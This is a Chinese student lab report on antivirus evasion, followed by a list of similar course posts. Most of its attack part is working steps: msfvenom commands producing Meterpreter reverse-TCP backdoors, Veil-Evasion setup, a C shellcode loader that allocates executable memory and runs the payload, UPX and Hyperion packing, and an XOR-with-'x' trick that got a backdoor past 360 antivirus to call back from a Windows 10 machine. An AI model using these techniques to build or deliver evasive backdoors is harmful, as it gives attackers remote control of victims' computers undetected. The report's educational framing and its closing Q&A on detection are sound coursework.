Exp3 免杀原理与实践
一、实验过程
1.编码器
(1)使用msf编码器,直接生成meterpreter可执行文件(跟Exp2中生成backdoor.exe的过程一样,生成后门文件),送到Virscan、VirusTotal网站上检测(注:VirusTotal网站实在太慢,后续均使用Virscan网站检测)




很明显,直接挂掉,毕竟直接由著名的msf生成(深信服没发现???百度那个,习惯就好)
(2)Msfvenom使用编码器
查询一下,-e后接所使用编码,-i后接对载荷的编码次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b LHOST= -f exe > encode_backdoor.exe


事实证明,编码并没有作用(or没有多大作用),Anti-Virus厂商也不傻,人家研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。
2.msfvenom生成如jar文件,扫描结果如下
msfvenom -p windows/meterpreter/reverse_tcp LHOST= x > 007msf_backdoor.jar


3.使用Veil-Evasion,这是一个免杀平台,与Metasploit有点类似,在Kali软件库中有,但默认没装。免杀效果比较好。
apt-get install veil 进行安装,之后 veil 命令进入veil,输入 y 继续安装,按照要求进行剩余安装(一路默认),安装时间较长

(1)安装完成后,输入 use 进入Veil-Evasion

(2) list 看一下可用载荷

(3)这里选用C语言生成payload, use c/meterpreter/rev_tcp.py

(4)设置主机IP、端口号
set LHOST 192.168.28.181 set LPORT

(5) generate 生成payload,然后起个名字就OK了

(6)送到VirScan检测,只能说稍微好一些了(注意上图veil_backdoor.exe所在位置)

4.半手工打造恶意软件(C语言调用Shellcode)
(1)生成C语言格式的shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f c

(2)利用上面的数组编写一个C程序, gedit 编辑一个文件,复制粘贴数组,并插入如下主函数,保存为 007backdoor.c 格式(注:如果之后生成的可执行文件无法运行,可能是C文件里没加头文件)
int main()
{
void *exec = VirtualAlloc(, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
}

(3)生成可执行文件
i686-w64-mingw32-g++ 007shellcode.c -o 007shellcode.exe

(4)放到VirScan上检测一下,比veil又要好些

(5)ncat传到win7上试一下

居然可以成功回连,刚准备高兴,360没有报毒呀。。。那,不如主动扫一下吧(那就这样吧,曲终人散吧。。。)

5.加壳(将可执行程序资源压缩,压缩后的程序可以直接运行)
(1)压缩壳UPX
upx 007shellcode.exe -o 007_upx_shellcode.exe


是认真的吗?比之前还多一个。。。不如不压缩壳
(2)加密壳Hyperion(在Kali里有hyperion的实现)
cd /usr/share/windows-binaries/hyperion/ wine hyperion.exe -v ~/007shellcode.exe 007_hype_backdoor.exe


更多。。。算了,就不放win7上检测了
6.shellcode变形实现恶意代码免杀
参考各种博客,说是可以利用异或或者逆转shellcode数组方法进行免杀(提前编好一段程序将数组逆转或者利用固定16进制数异或,得到的数组放在.cpp文件中【只要在调用该数组前,再逆转回来或者异或回来,就可实现免杀】,编译、链接生成.exe文件)
然而我已经将奇偶异或和逆转放在一起配合使用,还是被360查杀。
直接在数组中添加或减少16进制数(在不同的地方进行了不少次),还是会被检测到。(已经把攻击的shellcode破坏了,还能被认为是木马?)
后来看到FreeBuf上的一篇文章说是异或 'x' ,试了一下,居然可以。。。(为啥异或 0x07 类似形式的16进制数行不通,非要是字符啊,本质应该是一样的呀)

可以回连成功

放到VirScan上检测,2/49,总算降下来了

7.用另一电脑实测,在杀软开启的情况下,可运行并回连成功
修改本机Kali的IP为桥接模式下的IP,msfvenom半手工生成shellcode,与'x'异或后,与主函数一起生成.cpp文件,编译链接成.exe文件,传到另一台电脑上,运行后回连成功
(另一台电脑为win10系统,装有360安全卫士[版本号:11.5.0.2001])


二、基础问题回答
1.杀软是如何检测出恶意代码的?
[1].基于特征:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
[2].基于行为:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
2.免杀是做什么?
它指的是一种能使病毒木马免于被杀毒软件查杀的技术。
3.免杀的基本方法有哪些?
[1].加冷门壳(伪装壳,把一种壳伪装成其他壳,干扰杀毒软件正常的检测)
[2].加壳改壳(将一个木马文件加上upx壳或者其它壳后用lordpe将文件入口点加1,然后将区段字符全部去掉,然后用od打开免杀的木马在入口上下100字符内修改一些代码让杀毒软件查不出来是什么壳就不知道怎么脱就可以实现免杀的目的)
[3].加花指令(通过添加加花指令{一些垃圾指令,类型加1减1之类的无用语句}让杀毒软件检测不到特征码,干扰杀毒软件正常的检测)
[4].改程序入口点
三、实践总结与体会(开启杀软能绝对防止电脑中恶意代码吗?)
本次实验基本上将上次实践内容的“特殊”推广到了“一般”,在杀软开启的情况下,依旧可以成功运行后门,获得权限。
通过不同方法的构造、编码、实验,居然真的能绕过杀毒软件,终于体会到了“杀软不是万能的”这句话的含义,显然,开启杀软根本不可能绝对防止电脑中恶意代码。
安全形势是真的严峻,期待后续实验!
Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
- 2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据计算机病毒课程知道了每个病毒都有其对应的特征码,杀软是根据这 ...
随机推荐
- 3D GIS 应用开发 —— 基于 Mapbox GL 的实践总结
最近在折腾的 web 端的可视化项目,由于相关业务的需要,用到了 Mapbox 这一地图开发的神器.在此先奉上一个基于mapbox-gl实现的demo(来源:uber的deck.gl项目): 下面我们 ...
- 微信小程序开发基础
前言: 微信小程序开入入门,如果你有html+css+javascript的基础,那么你就很快地上手掌握的.下面提供微信小程序官方地址:https://developers.weixin.qq.com ...
- C#枚举(Enum)小结
枚举概念 枚举类型(也称为枚举)提供了一种有效的方式来定义可能分配给变量的一组已命名整数常量.该类型使用enum关键字声明. 示例代码1 enum Day { Sunday, Monday, Tues ...
- 【原】无脑操作:HTML5 + CSS + JavaScript实现比赛排程
1.背景:朋友请帮忙做一个比赛排程软件 2.需求: ① 比赛人数未知,可以通过文本文件读取参赛人员名称: ② 对参赛人员随机分组,一组两人,两两PK,如果是奇数人数,某一个参赛人员成为幸运儿自动晋级: ...
- CentOS 7 系统下 GitLab 搭建
参考地址:https://blog.csdn.net/t748588330/article/details/79915003 1. 安装:使用 GitLab 提供仓库在线安装 curl -sS htt ...
- linux的常用命令介绍
1.ls 列出当前目录下的所有的文件和文件夹的名称. 参数如下:-a 显示隐藏文件 -l 显示方式为列表 -h 以可读性高的方式输出 eg: ls -lh /logs/tran 目录如果不指定(相 ...
- opencv : imread()的应用
概述: imread()是opencv中用于读取图片的一个工具.怎么读取图片看似一个很简单的工作,但实际上也有一些细节需要我们注意,以避免在后续的操作中出现bug. 函数原型: 函数原型: Mat i ...
- Bootstrap起步
Bootstrap 是最受欢迎的 HTML.CSS 和 JS 框架,用于开发响应式布局.移动设备优先的 WEB 项目. Bootstrap 插件全部依赖 jQuery 请注意,Bootstrap 的所 ...
- 分析dhcp.lease文件,统计DHCP服务器IP自动分配
#!/usr/bin/env python # coding=utf-8 import string import time,datetime class TIMEFORMAT: def __init ...
- MySQL之字符集
看unicode编码区从1 - 126就属于传统utf8区,当然utf8mb4也兼容这个区,126行以下就是utf8mb4扩充区 1.utf8与utf8mb4(utf8 most bytes 4) M ...